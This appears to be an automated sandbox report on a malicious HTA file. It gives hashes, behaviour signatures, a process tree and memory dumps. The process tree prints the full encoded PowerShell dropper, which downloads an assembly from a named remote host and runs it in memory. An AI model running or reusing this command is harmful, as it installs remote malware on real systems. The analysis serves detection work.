Analysis

  • max time kernel
    148s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/05/2024, 01:23

General

  • Target

    9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta

  • Size

    799B

  • MD5

    9b3779b6e809642232e8e7e187a72f0d

  • SHA1

    fd7027dc0258952655350a794854135452632fb3

  • SHA256

    9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88

  • SHA512

    3dbba3efa22911744f8be7fc87d8ac68a32f1a4b001af084c57bafe6b446a597417eb2fcab474dce66bbff0e4c04201acfee47c15c74dc9fae58679318e19da0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://powershell.skype-api.co.uk:80/download/ironpython/

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1396
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABiAHkAdABlAHMAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAIgBoAHQAdABwADoALwAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBzAGsAeQBwAGUALQBhAHAAaQAuAGMAbwAuAHUAawA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAGkAcgBvAG4AcAB5AHQAaABvAG4ALwAiACkAOwAkAGEAcwBzAGUAbQBiAGwAeQA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBsAG8AYQBkACgAJABiAHkAdABlAHMAKQA7ACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACIAUAByAG8AZwByAGEAbQAiACkALgBHAGUAdABNAGUAdABoAG8AZAAoACIATQBhAGkAbgAiACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAOwA=
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4472

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xjv0rogb.0uo.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/4472-6-0x0000000073EF0000-0x00000000746A0000-memory.dmp

          Filesize

          7.7MB

        • memory/4472-20-0x00000000064C0000-0x00000000064DE000-memory.dmp

          Filesize

          120KB

        • memory/4472-5-0x0000000073EF0000-0x00000000746A0000-memory.dmp

          Filesize

          7.7MB

        • memory/4472-2-0x0000000073EFE000-0x0000000073EFF000-memory.dmp

          Filesize

          4KB

        • memory/4472-7-0x0000000005630000-0x0000000005652000-memory.dmp

          Filesize

          136KB

        • memory/4472-9-0x00000000058B0000-0x0000000005916000-memory.dmp

          Filesize

          408KB

        • memory/4472-4-0x0000000005970000-0x0000000005F98000-memory.dmp

          Filesize

          6.2MB

        • memory/4472-8-0x00000000057D0000-0x0000000005836000-memory.dmp

          Filesize

          408KB

        • memory/4472-19-0x0000000005FA0000-0x00000000062F4000-memory.dmp

          Filesize

          3.3MB

        • memory/4472-3-0x0000000005150000-0x0000000005186000-memory.dmp

          Filesize

          216KB

        • memory/4472-21-0x0000000006570000-0x00000000065BC000-memory.dmp

          Filesize

          304KB

        • memory/4472-22-0x0000000007D20000-0x000000000839A000-memory.dmp

          Filesize

          6.5MB

        • memory/4472-23-0x00000000069E0000-0x00000000069FA000-memory.dmp

          Filesize

          104KB

        • memory/4472-25-0x0000000073EFE000-0x0000000073EFF000-memory.dmp

          Filesize

          4KB

        • memory/4472-26-0x0000000073EF0000-0x00000000746A0000-memory.dmp

          Filesize

          7.7MB

        • memory/4472-29-0x0000000073EF0000-0x00000000746A0000-memory.dmp

          Filesize

          7.7MB